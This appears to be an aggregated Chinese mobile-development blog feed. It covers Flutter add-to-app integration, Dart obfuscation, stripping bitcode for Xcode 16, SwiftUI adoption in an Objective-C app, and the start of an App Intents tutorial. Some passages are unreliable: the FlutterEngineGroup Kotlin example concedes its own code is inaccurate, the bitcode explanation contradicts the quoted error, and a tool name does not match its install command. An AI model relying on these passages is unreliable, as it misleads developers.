本指南介绍如何向现有的 Android 应用中添加 FlutterFragmentFlutterFragment 允许开发者在任何使用常规 Fragment 的地方呈现 Flutter 的内容。通过 FlutterFragment,开发者可以控制 Flutter 的初始路由、Dart 入口、背景透明度等细节。

使用新的 FlutterEngine 添加 FlutterFragment

  1. 实例化并绑定 FlutterFragment

    ActivityonCreate() 方法中,实例化 FlutterFragment 并将其添加到 Activity 中。

    class MyActivity : FragmentActivity() {
        companion object {
            private const val TAG_FLUTTER_FRAGMENT = "flutter_fragment"
        }
     
        private var flutterFragment: FlutterFragment? = null
     
        override fun onCreate(savedInstanceState: Bundle?) {
            super.onCreate(savedInstanceState)
            setContentView(R.layout.my_activity_layout)
     
            val fragmentManager: FragmentManager = supportFragmentManager
            flutterFragment = fragmentManager.findFragmentByTag(TAG_FLUTTER_FRAGMENT) as FlutterFragment?
     
            if (flutterFragment == null) {
                val newFlutterFragment = FlutterFragment.createDefault()
                flutterFragment = newFlutterFragment
                fragmentManager.beginTransaction()
                    .add(R.id.fragment_container, newFlutterFragment, TAG_FLUTTER_FRAGMENT)
                    .commit()
            }
        }
    }
    
  2. 处理系统回调

    为了使 FlutterFragment 如预期一样正常工作,需要将系统回调从 Activity 传递到 FlutterFragment

    class MyActivity : FragmentActivity() {
        override fun onPostResume() {
            super.onPostResume()
            flutterFragment!!.onPostResume()
        }
     
        override fun onNewIntent(intent: Intent) {
            flutterFragment!!.onNewIntent(intent)
        }
     
        override fun onBackPressed() {
            flutterFragment!!.onBackPressed()
        }
     
        override fun onRequestPermissionsResult(
            requestCode: Int,
            permissions: Array<out String>,
            grantResults: IntArray
        ) {
            flutterFragment!!.onRequestPermissionsResult(requestCode, permissions, grantResults)
        }
     
        override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
            super.onActivityResult(requestCode, resultCode, data)
            flutterFragment!!.onActivityResult(requestCode, resultCode, data)
        }
     
        override fun onUserLeaveHint() {
            flutterFragment!!.onUserLeaveHint()
        }
     
        override fun onTrimMemory(level: Int) {
            super.onTrimMemory(level)
            flutterFragment!!.onTrimMemory(level)
        }
    }
    

使用预热的 FlutterEngine

为了减少 FlutterFragment 的初始化时间,可以使用已存在的、预热的 FlutterEngine

  1. 在应用启动时预热 FlutterEngine

    class MyApplication : Application() {
        lateinit var flutterEngine: FlutterEngine
     
        override fun onCreate() {
            super.onCreate()
            flutterEngine = FlutterEngine(this)
            flutterEngine.navigationChannel.setInitialRoute("your/route/here")
            flutterEngine.dartExecutor.executeDartEntrypoint(
                DartExecutor.DartEntrypoint.createDefault()
            )
            FlutterEngineCache.getInstance().put("my_engine_id", flutterEngine)
        }
    }
    
  2. 在 FlutterFragment 中使用预热的 FlutterEngine

    val flutterFragment = FlutterFragment.withCachedEngine("my_engine_id").build()
    

指定初始路由和 Dart 入口

  1. 指定初始路由

    使用 FlutterFragment.Builder 指定初始路由(仅适用于新的 FlutterEngine)。

    val flutterFragment = FlutterFragment.withNewEngine()
        .initialRoute("your/custom/route")
        .build()
    

    注意:当使用已预热的 FlutterEngine 时,指定的初始路由无效。

  2. 指定 Dart 入口

    使用 FlutterFragment.Builder 指定 Dart 入口(仅适用于新的 FlutterEngine)。

    val flutterFragment = FlutterFragment.withNewEngine()
        .dartEntrypoint("mySpecialEntrypoint")
        .build()
    

    注意:当使用已预热的 FlutterEngine 时,指定的 Dart 入口无效。

控制 FlutterFragment 的渲染模式和透明度

  1. 选择渲染模式

    默认使用 SurfaceView 渲染,性能较好,但无法插入到 Android 的 View 层级中。如需使用 TextureView,可以指定渲染模式。

    val flutterFragment = FlutterFragment.withNewEngine()
        .renderMode(FlutterView.RenderMode.texture)
        .build()
    
  2. 设置透明度

    默认背景不透明,可以设置为透明。

    val flutterFragment = FlutterFragment.withNewEngine()
        .transparencyMode(FlutterView.TransparencyMode.transparent)
        .build()
    

FlutterFragment 与 Activity 的关系

使用 shouldAttachEngineToActivity() 方法决定 FlutterFragment 是否应该控制宿主 Activity。

val flutterFragment = FlutterFragment.withNewEngine()
    .shouldAttachEngineToActivity(false) // 防止 Flutter 控制 Activity 的系统 UI
    .build()

通过以上步骤,您可以成功地将 FlutterFragment 集成到现有的 Android 应用中,并根据需要配置各种场景

iOS多页面 FlutterEngineGroup

在 Swift 中使用 FlutterEngineGroup 可以帮助你在 iOS 应用中高效地管理和复用多个 Flutter 引擎实例。下面是一个关于如何在 Swift 中使用 FlutterEngineGroup 的详细指南,包括各种代码示例。

1. 设置 Flutter 依赖

首先,确保你的 iOS 项目已经集成了 Flutter。这通常涉及将 Flutter 模块作为依赖添加到你的原生 iOS 项目中,并配置好相关的 build 设置。

2. 初始化 FlutterEngineGroup

你通常会在应用的入口点(如 AppDelegate)中初始化 FlutterEngineGroup

import UIKit
import Flutter
 
@UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate {
 
    var window: UIWindow?
    var flutterEngineGroup: FlutterEngineGroup?
 
    func application(_ application: UIApplication,
                     didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {
        
        // 初始化 FlutterEngineGroup
        flutterEngineGroup = FlutterEngineGroup(name: "my_engine_group", project: nil)
        
        // 其他配置...
        
        return true
    }
}

3. 创建和配置 FlutterEngine

当你需要展示一个 Flutter 页面时,你可以从 FlutterEngineGroup 中获取或创建一个 FlutterEngine 实例。

import UIKit
import Flutter
 
class SomeViewController: UIViewController {
 
    var flutterEngine: FlutterEngine?
    var flutterViewController: FlutterViewController?
 
    override func viewDidLoad() {
        super.viewDidLoad()
        
        guard let appDelegate = UIApplication.shared.delegate as? AppDelegate,
              let flutterEngineGroup = appDelegate.flutterEngineGroup else {
            return
        }
        
        // 从 FlutterEngineGroup 中获取或创建一个 FlutterEngine 实例
        flutterEngine = flutterEngineGroup.makeEngine(withEntrypoint: nil, libraryURI: nil)
        
        // 使用 FlutterEngine 实例初始化 FlutterViewController
        flutterViewController = FlutterViewController(engine: flutterEngine!, nibName: nil, bundle: nil)
        
        // 将 FlutterViewController 添加到当前视图控制器中
        addChild(flutterViewController!)
        view.addSubview(flutterViewController!.view)
        flutterViewController!.didMove(toParent: self)
    }
}

4. 展示 Flutter 页面

在上面的代码中,flutterViewController 已经被添加到 SomeViewController 的视图中。你可以根据需要将 SomeViewController 添加到你的应用中的任何位置,比如作为根视图控制器、子视图控制器或模态呈现。

5. 清理资源

FlutterViewController 不再需要时,你应该确保正确地清理资源。这通常涉及移除 FlutterViewController 的视图并从父视图控制器中移除它。

override func viewWillDisappear(_ animated: Bool) {
    super.viewWillDisappear(animated)
    
    flutterViewController?.willMove(toParent: nil)
    flutterViewController?.view.removeFromSuperview()
    flutterViewController?.removeFromParent()
    
    // 如果这是最后一个使用这个 FlutterEngine 的地方,你可以考虑销毁它
    // 注意:通常不建议手动销毁 FlutterEngine,因为 FlutterEngineGroup 会管理它们的生命周期
    // flutterEngine = nil // 这不会真正销毁 FlutterEngine,只是将其置为 nil
}

注意:在大多数情况下,你不应该手动销毁 FlutterEngine 实例。FlutterEngineGroup 会负责管理和缓存 FlutterEngine 实例的生命周期。如果你不再需要某个 FlutterEngine,并且确信没有其他地方在使用它,你可以将其从缓存中移除(尽管 Flutter SDK 可能不提供直接的方法来做到这一点),但通常这是不必要的,因为 FlutterEngine 的内存管理是由 Flutter 框架自动处理的。

6. 额外的配置和注意事项

  • 确保你的 Info.plist 文件中包含了必要的 Flutter 配置。
  • 如果你正在使用 Flutter 模块而不是整个 Flutter 应用,你可能需要额外的配置来确保模块正确加载。
  • 当你使用 FlutterEngineGroup 时,你可以通过传递相同的组名来确保多个地方共享相同的 FlutterEngine 实例(尽管这通常不是必需的,因为 FlutterEngineGroup 会为你管理这些实例)。
  • 始终检查 FlutterEngineFlutterViewController 是否为 nil,以避免在它们尚未初始化时访问它们的属性或方法。

Android多页面 FlutterEngineGroup

在 Kotlin 中使用 FlutterEngineGroup 是为了在 Android 应用中高效地管理和复用 Flutter 引擎实例。这对于需要在多个地方嵌入 Flutter 视图的应用特别有用,因为它可以减少内存占用并提高性能。

以下是在 Kotlin 中使用 FlutterEngineGroup 的详细指南,包括各种代码示例。

1. 添加 Flutter 依赖

首先,确保你的 Android 项目已经集成了 Flutter。这通常涉及将 Flutter 模块作为依赖添加到你的原生 Android 项目中,并配置好相关的 build.gradle 文件。

2. 初始化 FlutterEngineGroup

你通常会在应用的入口点(如 Application 类)中初始化 FlutterEngineGroup

import android.app.Application
import io.flutter.embedding.engine.FlutterEngine
import io.flutter.embedding.engine.FlutterEngineGroup
import io.flutter.embedding.android.FlutterActivity
 
class MyApplication : Application() {
 
    private lateinit var flutterEngineGroup: FlutterEngineGroup
 
    override fun onCreate() {
        super.onCreate()
 
        // 初始化 FlutterEngineGroup
        flutterEngineGroup = FlutterEngineGroup(this, "my_engine_id")
 
        // 可以在这里预创建 FlutterEngine 实例,以便更快地显示 Flutter 视图
        // val precreatedEngine = flutterEngineGroup.makeEngine(null)
    }
 
    // 提供一个全局访问点来获取 FlutterEngineGroup 实例
    fun getFlutterEngineGroup(): FlutterEngineGroup {
        return flutterEngineGroup
    }
}

别忘了在 AndroidManifest.xml 中将你的 Application 类设置为应用的入口点。

3. 创建和配置 FlutterEngine

当你需要展示一个 Flutter 页面时,你可以从 FlutterEngineGroup 中获取或创建一个 FlutterEngine 实例,并使用它来启动一个 FlutterActivityFlutterFragment

import android.content.Context
import android.content.Intent
import io.flutter.embedding.android.FlutterActivity
import io.flutter.embedding.engine.FlutterEngine
 
// 在某个 Activity 或 Fragment 中
fun showFlutterScreen(context: Context) {
    val application = context.applicationContext as MyApplication
    val flutterEngineGroup = application.getFlutterEngineGroup()
 
    // 从 FlutterEngineGroup 中获取或创建一个 FlutterEngine 实例
    val flutterEngine: FlutterEngine = flutterEngineGroup.makeEngine(null)
 
    // 配置 FlutterActivity 的启动参数
    val flutterActivityIntent = FlutterActivity
        .withCachedEngine("my_engine_id") // 使用相同的 ID 来复用 FlutterEngine 实例
        .build(context)
 
    // 启动 FlutterActivity
    context.startActivity(flutterActivityIntent)
}

注意:在上面的代码中,withCachedEngine 方法的参数应该是你在 FlutterEngineGroup 构造函数中使用的相同 ID。但是,如果你只是想从 FlutterEngineGroup 中获取一个新的或现有的引擎,并不关心是否缓存了特定的引擎,你可以省略这个 ID(尽管这通常不是最佳实践,因为它会失去使用 FlutterEngineGroup 的主要优势)。实际上,你应该使用 flutterEngineGroup.makeEngine(null) 来创建一个新的引擎(如果还没有缓存的话),并通过其他机制(如传递额外的启动参数)来区分不同的 Flutter 视图。

然而,由于 FlutterActivity.withCachedEngine 方法期望一个已经存在的、通过特定 ID 缓存的引擎,因此上面的代码示例可能并不完全准确。在大多数情况下,你可能不需要显式地指定引擎 ID 来复用引擎,因为 FlutterEngineGroup 会自动管理引擎的生命周期和缓存。相反,你可以简单地调用 flutterEngineGroup.makeEngine(null) 来获取一个新的或现有的引擎,并使用 FlutterActivity.withNewEngine(flutterEngine) 来启动一个带有新引擎的 FlutterActivity。但是,由于 FlutterActivity的 API 可能会随着 Flutter 的更新而变化,因此请务必查阅最新的 Flutter 文档以获取准确的信息。

4. 展示 Flutter 页面

上面的代码示例已经展示了如何通过 FlutterActivity 来展示 Flutter 页面。如果你更喜欢使用 FlutterFragment,你可以类似地配置并添加到你的 Activity 中。

5. 清理资源

通常,你不需要手动清理 FlutterEngine 实例,因为 FlutterEngineGroup 会负责管理和缓存它们。但是,如果你确定某个 FlutterEngine 不再需要,并且想要释放它占用的资源,你可以调用 destroy() 方法来销毁它(尽管这通常不是必需的)。然而,请注意,直接销毁 FlutterEngine 可能会导致未定义的行为,因为 Flutter 框架可能仍然在使用它。因此,在大多数情况下,你应该允许 FlutterEngineGroup 来管理 FlutterEngine 的生命周期。

6. 额外的配置和注意事项

  • 确保你的 build.gradle 文件中包含了必要的 Flutter 依赖。
  • 如果你正在使用 Flutter 模块而不是整个 Flutter 应用,你可能需要额外的配置来确保模块正确加载。
  • 当使用 FlutterEngineGroup 时,确保在需要展示 Flutter 视图的地方正确地获取和使用 FlutterEngine 实例。
  • 始终检查 FlutterEngine 和其他相关对象是否为 null,以避免在它们尚未初始化时访问它们的属性或方法。

加载顺序

关于控制加载顺序以优化性能与内存的部分,对于add-to-app场景下的性能优化尤为重要。以下是加载Flutter UI时的关键步骤梳理:

1. 查找Flutter资源

  • 在Android和iOS上,Flutter引擎运行时和已编译的Dart代码被打包为共享库。
  • 当首次调用API构建FlutterEngine时,会在.apk、.ipa或.app中查找这些资源(包括图像、字体以及JIT代码等)。

2. 加载Flutter库

  • 引擎的共享库在每个进程中加载一次内存。
  • 在Android上,构建FlutterEngine时会加载库;在iOS上,首次运行FlutterEngine时会加载。

3. 启动Dart VM

  • Dart运行时管理Dart内存与异步。
  • 在Android上首次构建FlutterEngine,以及在iOS上首次运行Dart入口时,会完成Dart VM的启动。
  • Dart代码的snapshot从应用程序文件加载到内存中。
  • Dart VM启动后不会关闭。

4. 创建并运行Dart Isolate

  • 在Dart运行时中启动Dart Isolate。
  • 每个FlutterEngine实例存在一个isolate,且同一个Dart VM可以承载多个isolate。
  • 在Android上调用DartExecutor.executeDartEntrypoint(),在iOS上调用runWithEntrypoint:时,会发生这一过程。
  • Dart代码执行默认的入口点方法(如main.dart文件的main()方法),然后Flutter应用或库的widget树被创建和构建。

5. 将UI挂载到Flutter引擎

  • 在add-to-app场景中,通过特定的方法(如Android的FlutterActivity.withCachedEngine()和iOS的initWithEngine: nibName: bundle:)将FlutterEngine挂载到UI组件。
  • 如果在没有启动Flutter UI组件的情况下预热FlutterEngine,也会创建一个隐式的FlutterEngine。
  • UI组件为FlutterEngine提供渲染层,将Layer树转换为GPU指令。

6. 内存和延迟考虑

  • 显示Flutter UI会耗费时间,提前启动Flutter引擎可以降低时间开销。
  • 预热FlutterEngine会占用内存和时间,但可以降低后续加载UI首帧的成本。
  • 需要权衡预热时机,以避免内存占用延迟和Flutter引擎初始化与显示首帧时机冲突。
  • 预热FlutterEngine后,加载UI首帧的成本会降低,但具体时间和内存开销取决于屏幕大小和物理像素等因素。

性能优化建议

  • 对于add-to-app场景,可以利用FlutterEngineGroup来管理和复用Flutter引擎实例,以减少内存占用和提高性能。
  • 根据应用的结构和不断试探的结果,确定合适的预热时机。
  • 监控应用的内存和性能表现,根据需要进行调整和优化。

Dart代码混淆

使用 dart-obfuscate 工具

dart-obfuscate 是一个流行的 Dart 代码混淆工具。你可以通过以下步骤使用它:

  1. 安装 Dart SDK:确保你已经安装了 Dart SDK。

  2. 安装 dart-obfuscate

    dart pub global activate dart_obfuscation
    
  3. 混淆你的 Dart 代码

    dart-obfuscate input.dart --output output.dart
    

    这里 input.dart 是你的源代码文件,output.dart 是混淆后的代码文件。

在iOS工程中配置Dart代码混淆

通常是在Flutter项目中进行的,因为Flutter支持使用Dart语言开发跨平台应用,包括iOS。以下是在iOS工程中配置Dart代码混淆的步骤:

一、前提条件

  1. 确保你的Flutter项目已经正确设置并能在iOS设备上运行。
  2. 确保你的Flutter SDK和依赖项都是最新的。

二、配置Dart代码混淆

  1. 修改构建配置

    • 在你的Flutter项目根目录下,找到ios文件夹,然后进入Flutter文件夹,再找到Release.xcconfig文件。
    • Release.xcconfig文件中,添加以下行来启用Dart代码混淆:
    EXTRA_GEN_SNAPSHOT_OPTIONS=--obfuscate
    

    这告诉Flutter在构建iOS应用时使用混淆选项。

  2. 构建应用

    • 使用以下命令在release模式下构建你的Flutter应用:
    flutter build ios --release --obfuscate --split-debug-info=/<project-name>/<directory>
    

    这里的--obfuscate选项启用代码混淆,--split-debug-info选项指定了Flutter输出调试文件的目录。请确保替换/<project-name>/<directory>为你的实际项目名称和目录。

  3. 保存符号表文件

    • 混淆后,Flutter会生成一个符号表文件,该文件用于将混淆后的堆栈跟踪转换回可读格式。请务必保存这个文件,以便在需要时调试混淆后的应用。

三、调试混淆后的应用

如果你需要调试混淆后的应用创建的堆栈跟踪,可以使用flutter symbolize命令和符号文件来解析堆栈跟踪。具体步骤如下:

  1. 找到匹配的符号文件。例如,从iOS设备崩溃将需要相应的符号文件。
  2. 使用flutter symbolize命令提供堆栈跟踪(存储在文件中)和符号文件。例如:
flutter symbolize -i <stack trace file> -d /path/to/symbols

这里的<stack trace file>是堆栈跟踪文件,/path/to/symbols是符号文件的路径。

四、注意事项

  1. 混淆后的代码可能使调试变得更加困难,因此建议在发布版本中使用混淆,而在开发过程中使用未混淆的代码。
  2. 混淆并不能完全防止逆向工程,但可以增加攻击者对代码的理解和分析难度。
  3. 混淆可能会增加应用构建时间和运行时间的开销。

by 捡芝麻丢西瓜 at January 15, 2025 07:52 AM

解决关于Xcode16提交审核报错

问题描述

The following issues occurred while distributing your application. Asset validation failed Invalid Executable. The executable 'xxx.app/Frameworks/HappyDNS.framework/HappyDNS' contains bitcode.(lD:ef5dd249-731f-4731-8173-8e4a12519352) Asset validation failed Invalid Executable. The executable 'xxx.app/Frameworks/PLMediaStreamingKit.framework/PLMediaStreamingKit' contains bitcode. (lD:898428d1-4a1b-4176-8d89-a5a8f2bed2dc) Asset validation failed Invalid Executable. The executable 'xxx.app/Frameworks/PLPlayerKit.framework/PLPlayerKit' contains bitcode. (lD: 21c812b6-2f5d-48dd-bed9-38eeea2b2381)

图片.png

正常通过Produre - Archive打包,并在XcodeWindow -Organizer - Distribute App提交App Store审核报错误。

Bitcode 是一种中间表示形式,在 Xcode中打包提交到 App Store 审核时,如果出现包含 Bitcode 的报错,这通常意味着您的应用没有正确包含 BitcodeBitcode 是苹果的一项要求,它允许苹果在 App Store 中对您的应用进行进一步的优化。

当提交应用到 App Store 时出现与 Bitcode 相关的问题,您需要手动移除 framework 中的 Bitcode

解决方法

在 Xcode 中禁用 Bitcode:

  • 打开你的 Xcode 项目;
  • 选择你的项目在 Project Navigator 中;
  • 选择你的目标应用;
  • 选择“Build Settings”标签;
  • 搜索“Enable Bitcode”并将其设置为“No” ;
  • 清理并重建你的项目(使用快捷键 Shift + Command + K 进行清理,然后使用 Command + B 进行重建)。

由于 Xcode16 不再支持 Bitcode,所以我们无法在项目中找到这个设置。

使用命令行工具,手动更改Bitcode

假设您有一个名为 HappyDNS.frameworkframework,并且它位于 /path/to/~/HappyDNS.framework路径,那么您可以按照以下方式处理:

  1. 通过 cd命令进入到 HappyDNS.framework 的路径。
    如果是通过 pod install 获取的 SDK,则进入 pods 文件夹。

  2. 执行以下命令检查 framework是否包含 bitcode,返回 0 即为不包含。

otool -l HappyDNS | grep __LLVM | wc -l
  1. 如果检测结果不是 0,则继续执行以下命令移除 HappyDNS.frameworkBitcode
xcrun bitcode_strip -r HappyDNS -o HappyDNS

图片.png

by 风雨_83 at January 15, 2025 01:21 AM

January 14, 2025

juejin ios

货拉拉用户端SwiftUI踩坑之旅

1. 前言

在货拉拉用户端适配灵动岛开发过程中,切身感受到了SwiftUI编写界面带来的便捷性,像声明式UI能减少许多初始化代码、更简便更灵活的Flex布局,以及所有iOSer都梦寐以求的Hot Reload功能,都是能大幅度提升编码体验与效率的功能。基于这些优点,对SwiftUI落地进行探索,在项目内找一个页面,使用SwiftUI编写接入,尝试新技术对编码效率的提升感受,以及体验SwiftUI与OC项目的兼容程度,为后续技术选型提供实践经验。本文记录接入过程中一些“坑”与经验,在此与大家分享下这趟踩坑之旅。

另外想了解货拉拉用户iOS端接入灵动岛实践经验的,可以移步这篇文章 货拉拉用户 iOS 端灵动岛实践总结

2. 接入实践

接入SwiftUI条件

  • SwiftUI文件支持的最低系统是iOS13。如果工程最低支持版本在iOS13以下但又想接入,可以使用系统版本判断@available(iOS 13.0, *),在iOS13以下使用常规的UIKit视图,iOS13使用SwiftUI视图。

2.1 创建swiftUI文件

New File -> User Interface -> SwiftUI View创建一个SwiftUI视图文件,如果是纯OC项目,需要创建Swift的桥接文件,如果工程是OC/Swift混编,则不需要再次创建。

也可以创建一个普通的Swift文件,导入头文件 SwiftUI,手动编写SwiftUI视图。

import SwiftUI

public struct SwiftUIView: View {
    public var body: some View {
        Text("SwiftUI")
    }
}
struct ContentView_Previews: PreviewProvider {
    static var previews: some View {
        SwiftUIView()
    }
}
  • PreviewProvider为实时预览功能,可以根据项目实际情况选择使不使用。

2.2 OC调用SwiftUI视图

OC无法直接使用SwiftUI视图,但是可以通过UIHostingController控制器包裹SwiftUI视图,然后通过push或present等方式打开ViewController,此时打开ViewController中的view则为SwiftUI视图。

  • 由于OC与Swift的访问控制,所以在SwiftUI文件和OC中间需要增加一道Swift的桥接。
// 桥接
@objc
public class HDSwiftUIBridg: NSObject {
    @objc public func makeStudyView() -> UIViewController { 
        let vc = UIHostingController(rootView: HDSwiftUIView())
        return vc
    }
}
// SwiftUI
struct HDSwiftUIView:View {
    var body: some View {
        Text("SwiftUI")
    }
}

// OC
@ implementation HDHomeVC
    - (void)buttonClick {
       UIViewController *vc = [[HDSwiftUIBridg new] makeStudyView];
       [self.navigationController pushViewController:vc animated:YES];
    }
@end

2.3 OC模型传递

先在SwiftUI视图中增加属性变量,SwiftUI中就可以直接访问模型属性。属性变量写完以后,在初始化SwiftUI类时,构建方法就会自动增加相应的入参。

// SwiftUI
struct HDSwiftUIView:View {

    var model: HDTimeModel
    
    var body: some View {
        Text(model.name ?? "")
    }
}

// 桥接
@objc
public class HDSwiftUIBridg: NSObject {
    @objc public func makeStudyView(model:HDTimeModel) -> UIViewController { 
        let vc = UIHostingController(rootView: HDSwiftUIView(model: model))
        return vc
    }
}

// OC
@ implementation HDHomeVC 
    - (void)buttonClick {
       HDTimeModel *model = [HDTimeModel new];
       UIViewController *vc = [[HDSwiftUIBridg new] makeStudyViewWithModel:model];
       [self.navigationController pushViewController:vc animated:YES];
    }
@end

2.4 使用UIKit视图

由于存在业务场景特殊性的限制,现阶段可能存在需要使用UIKit的视图,比如使用lottie,或者视图与业务已经深绑定,使用SwiftUI重写周期长,这些问题都会影响选用SwiftUI的意愿。

官方早也帮我们想好解决办法。只需要用到 UIViewRepresentable 协议,通过这个协议就可以将UIKit的视图桥接到SwiftUI上。

需要实现两个协议方法,分别是初始化和与更新视图。示例中在创建视图之前已经获取到了数据,并且数据不会动态更改,则在初始化视图的时候就可以直接将数据传入,而不是通过 updateUIView 。

协议内还有许多实用方法,感兴趣的可以自行探索。

protocol UIViewRepresentable
@MainActor func makeUIView(context: Self.Context) -> Self.UIViewType
@MainActor func updateUIView(_ uiView: Self.UIViewType, context: Self.Context)
....
@end

示例:

// View 桥接
struct HDBridgeViewWrapper: UIViewRepresentable {
    var model:HDUIDataModel
    func makeUIView(context: Context) -> some UIView {
        let view = HDOCViewCell()
        view.reload(model)
        return view
    }
    func updateUIView(_ uiView: UIViewType, context: Context) {
    }
}

// SwiftUI
@available(iOS 13.0, *)
public struct SwiftUIView: View {
    public var body: some View {
        List {
          ForEach(model.list, id: .self) { obj in
               HDBridgeViewWrapper(model: obj)
                    .frame(maxWidth: .infinity, minHeight: 58 ,maxHeight: 58)
                    .listRowBackground(Color.clear)
                    .listRowInsets(.none)
          }
        }
    }
}

// UIKit
@implementation HDOCViewCell
- (instancetype)initWithFrame:(CGRect)frame {
    self = [super initWithFrame:frame];
    if (self) {
    
    }
    return self;
}
@end

2.5 点击事件传递

虽然SwiftUI更推荐响应式编程,但目前iOS主流的编码模式还是面向对象式编程,所以视图虽然是使用SwfitUI编写,动作事件还是不可避免存在大量与原逻辑的交互,而想从SwiftUI视图的点击透传到OC&Swift的逻辑层上,通过iOSer最熟悉的Block即可轻松实现。

实现方式与数据传参一致,在SwiftUI属性中增加闭包属性,初始化方法中同样也会自动增加入参,在桥接文件与OC交互的方法内手动增加闭包入参,就可以实现点击事件的回传。

@available(iOS 13.0, *)
@objc public class HDSwiftUIBridg: NSObject {
    @objc public func makeStudyView(callBack: @escaping() -> Void) -> UIViewController {
        let vc = UIHostingController(rootView: SwiftUIView(model: model, closeCallBack: {
            callBack()
        }))
        return vc
    }
}

@available(iOS 13.0, *)
public struct SwiftUIView: View {
    
    var model: HLLUCardInfoModel
    var closeCallBack:(()->Void)?
    
    public var body: some View {
        VStack {
            Button(action: {
               closeCallBack?()
            }) {
               Text(model.shopName ?? "")
            }
        }
    }
}

implementation HDHomeVC
    - (void)buttonClick {
       HDDataModel *model = [HDDataModel new];
       UIViewController *vc = [[HDSwiftUIBridg new] makeStudyViewWithModel:model callBack: {
           //原逻辑
       }];
       [self.navigationController pushViewController:vc animated:YES];
    }
@end

完成上述代码后,SwiftUI编写的视图已经能够在项目中正确展示出来了。现在可以开始着手在SwiftUI上编写UI代码,尝试下编写UI最便利的功能——HotReload。相信在语法熟练后,一定能带来比现在更好的编码体验。

3. 踩坑记录与解决

在实践中遇到了一些比较有意思的问题,换一种思路就很好的解决。在此记录一下,与大家分享,如果大家还有更优雅的解决办法,欢迎讨论交流。

  • 无法使用PreviewProvider实时预览功能

    这个问题出现原因不明,在新建的空白工程,能正常运行预览功能,在项目内就无法使用,也没有具体的报错原因,经过多种尝试,最终得到能临时解决的方法。

  1. 如果你的项目也是使用CocoaPods管理的单仓多组件工程,先把SwiftUI移到主目录下,与AppDelegate同级。再次尝试运行预览功能,如果不成功则进行第2步设置。

  2. 导航栏 -> Editor -> Canvas -> Automatically Refresh Canvas取消勾选。再次尝试运行预览功能,我们是在这一步成功运行了实时预览功能,如果还是不行可以进行下面的一下尝试。

  3. 如果是M1电脑,可能会出现 xxx.frameworks not supported x86_64 ,这时候可以在预览的界面左下角,进行模拟器切换(arm64&x86_64都分别尝试,我们项目是使用x86_64的模拟器运行起来的)。

  4. 也可以使用真机进行预览功能,如果在真机上出现了Xcode Previews这个APP,但是项目无法运行起来,在这个时候可以切回使用模拟器再次尝试第3步。

    需要注意的是只需要把PreviewProvider写在主目录(壳工程)下,而SwiftUI视图要放在子Pod内,因为主工程能索引子组件的Swift文件,如果把视图也放在主目录下,子组件内就无法访问到View。

  • SwiftUI主视图的frame与背景色设置不生效

可以在桥接文件内,获取到视图后设置

@objc
public class HDSwiftUIBridg: NSObject {
    @objc public func makeStudyView(model:HDTimeModel) -> UIViewController { 
        let vc = UIHostingController(rootView: HDSwiftUIView(model: model))
        vc.view.frame = .init(x: 0, y: 0, width: 300, height: 300)
        vc.view.backgroundColor = .white
        return vc
    }
}
  • SwiftUI视图支持不足

    •   像Scroll的禁止滑动、list隐藏分割线等,部分需要到iOS15+系统才可以支持,这些属性或者功能随着SwiftUI的迭代会有解决办法,但在低版本实现起来非常复杂,如果想简单实现这些功能可以使用UIKit的视图,通过桥接的方式供SwiftUI使用。
  • 圆角与边框同时设置圆角无法处边框消失

    •   struct SwiftUIView: View {
            var body: some View {
                Text("Hello, SwiftUI!")
                            .padding()
                            .border(Color.blue, width: 1)
                            .cornerRadius(40)
            }
        }
      

可以使用overlay,需要注意的是这个属性最低支持的系统版本是iOS15。

struct SwiftUIView: View {
    var body: some View {
        Text("Hello, SwiftUI!")
                    .padding()
                    .overlay(
                        RoundedRectangle(cornerRadius: 40, style: .continuous)
                            .stroke(.blue,lineWidth: 1.0)
                    )
    }
}

  • 容易遗漏桥接文件强引用

    •   桥接文件是一个NSObject类,通过桥接类获取持有SwiftUI的ViewController,容易遗漏在当前类强持有桥接文件,会导致传入的block释放,导致回调无响应。
  • 只使用SwiftUI视图

    •   因为桥接类UIHostingController是UIViewController,正常是获取到viewController进行Push,如果只想用view可以通过viewController.view获取视图。
    •   @objc
        public class HDSwiftUIBridg: NSObject {
            @objc public func makeStudyView(model:HDTimeModel) -> UIView { 
                let vc = UIHostingController(rootView: HDSwiftUIView(model: model))
                return vc.view
            }
        }
      
  • 数据模型双向绑定不支持OC模型

    •   SwifUI采用声明式的布局方式,语言设计上更契合响应式编程,许多Demo都是用模型视图双向绑定的来实现属于与数据的更新,但在使用到OC模型时,双向绑定的关键字不支持在OC上编写,导致无法让视图与模型绑定。
    •   可以参考示例,直接将模型传入,按面向对象编程设计进行编码。

4. 总结

在编码上OC/Swift/SwiftUI混编总体非常丝滑,接入SwiftUI的编码体验与当年OC接入Swift非常类似,通过系统提供的API就能很轻易实现SwiftUI的接入。在业务层上,由于需要考虑最低系统版本的支持、业务的复杂性、UI的高还原性等业务问题,导致SwiftU在业务开发体验上暂时还是不如OC&Swift开发。但是随着官方的力推、系统版本的更新,SwiftU的缺点会逐步解决,使用SwiftUI的编码体验与效率也会直线上升,总的来说现有项目接入SwiftUI从技术层面上是没问题的,在业务上可以考虑渐进的去尝试,相信能给大家带来不一样的编码体验。

我们希望通过分享开发过程中遇到的问题和解决方案,可以帮助到更多的人。如果你有任何问题或者想法,欢迎在评论区留言。期待我们在技术的道路上再次相遇。

by 货拉拉技术 at January 14, 2025 03:04 AM

What's new in App Intents(二) 实现App Intents

实体定义

创建一个 TrailEntity 代表路径信息,并确保它可以被快捷方式和 Siri 交互使用。

import Foundation
import SwiftUI
import AppIntents

struct TrailEntity: AppEntity {

    static var typeDisplayRepresentation: TypeDisplayRepresentation {
      TypeDisplayRepresentation(
        name: LocalizedStringResource("TypeDisplay路径", table: "AppIntents"),
        numericFormat: LocalizedStringResource("(placeholder: .int) TypeDisplay路径", table: "AppIntents")
      )
    }
    static var defaultQuery = TrailEntityQuery()

    var id: String
    
    @Property(title: "Trail Name")
    var name: String
    
    var trailStyle: TrailsStyle

    // 实现显示名称,供快捷方式界面展示
    var displayRepresentation: DisplayRepresentation {
        DisplayRepresentation(title: "(name)")
    }
    

    // 实体查询器,提供供选择的路径列表
    struct TrailEntityQuery: EntityQuery {
        func entities(for identifiers: [String]) -> [TrailEntity] {
            trails.filter { identifiers.contains($0.id) }
        }

        func suggestedEntities() -> [TrailEntity] {
            // 返回在提供此查询支持的选项列表时显示的初始结果。
            return trails
        }
    }
}

// 模拟路径数据
let trails = [
